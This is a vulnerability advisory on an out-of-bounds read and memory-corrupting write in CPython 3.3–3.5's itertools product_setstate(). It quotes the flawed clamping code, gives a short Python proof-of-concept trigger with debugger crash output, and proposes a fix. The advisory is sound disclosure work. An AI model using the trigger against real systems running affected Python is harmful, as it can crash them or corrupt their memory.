Python product_setstate() Out-of-bounds Read

Vulnerabilities | Repro | Patch | Report

Python 3.3, 3.4, and 3.5 suffer from a vulnerability caused by the behavior of the product_setstate() function. When called, the function loops over the state tuple provided and clamps each given index to a value within a range from 0 up to the max number of pools. Then, it loops over the pools and gets an item from the pool using the previously clamped index value.

However, for the upper bound, the clamping logic is using the number of pools and not the size of the individual pool, which can result in a call to PyTuple_GET_ITEM that uses an index outside of the bounds of the pool:

for (i=0; i<n; i++)
    PyObject* indexObject = PyTuple_GET_ITEM(state, i);
    Py_ssize_t index = PyLong_AsSsize_t(indexObject);
    if (index < 0 && PyErr_Occurred())
        return NULL; /* not an integer */
    /* clamp the index */
    if (index < 0)
        index = 0;
    else if (index > n-1)
        index = n-1;
    lz->indices[i] = index;

result = PyTuple_New(n);
if (!result)
    return NULL;
for (i=0; i<n; i++) {
    PyObject *pool = PyTuple_GET_ITEM(lz->pools, i);
    PyObject *element = PyTuple_GET_ITEM(pool, lz->indices[i]);
    PyTuple_SET_ITEM(result, i, element);

The invalid result of the PyTyple_GET_ITEM() expression is then passed to Py_INCREF(), which performs a write operation that corrupts memory.

In some applications, it may be possible to exploit this behavior to corrupt sensitive information, crash, or achieve code execution. The out-of-bounds write can be observed by running the following script:

import itertools

p = itertools.product((0,),(0,))
p.__setstate__((0, 1))

Which, depending on the arrangement of memory, may produce an exception such as this:

0:000> g
(ea4.11a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c962 ebx=059e8f80 ecx=00000000 edx=00000000 esi=004af564 edi=05392f78
eip=613211eb esp=004af4d0 ebp=004af4f8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
613211eb 8b5108 mov edx,dword ptr [ecx+8] ds:002b:00000008=????????
0:000> k1
ChildEBP RetAddr
004af4f8 61553a22 python35_d!product_setstate+0x13b [c:\source\python-3.5.0b3\modules\itertoolsmodule.c @ 2266]

In some cases, EIP corruption may occur:

0:000> r
eax=00000000 ebx=03e0f790 ecx=6d2ad658 edx=00000002 esi=03e0f790 edi=6d0dbb20
eip=00000000 esp=004cf6a0 ebp=004cf6ac iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
00000000 ?? ???
0:000> k4
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
004cf69c 6d08a390 0x0
004cf6ac 6d02b688 python35!PyIter_Next+0x10
004cf6c0 6d0dbb6e python35!chain_next+0x58
004cf6d0 6d0a021d python35!wrap_next+0x4e

To fix this issue, it is recommended that product_setstate() be updated to clamp indices within a range from 0 up to the size of the pool in the body of the result tuple building loop. A proposed patch is attached.

Credit: John Leitch (john@autosectools.com), Bryce Darling (darlingbryce@gmail.com)

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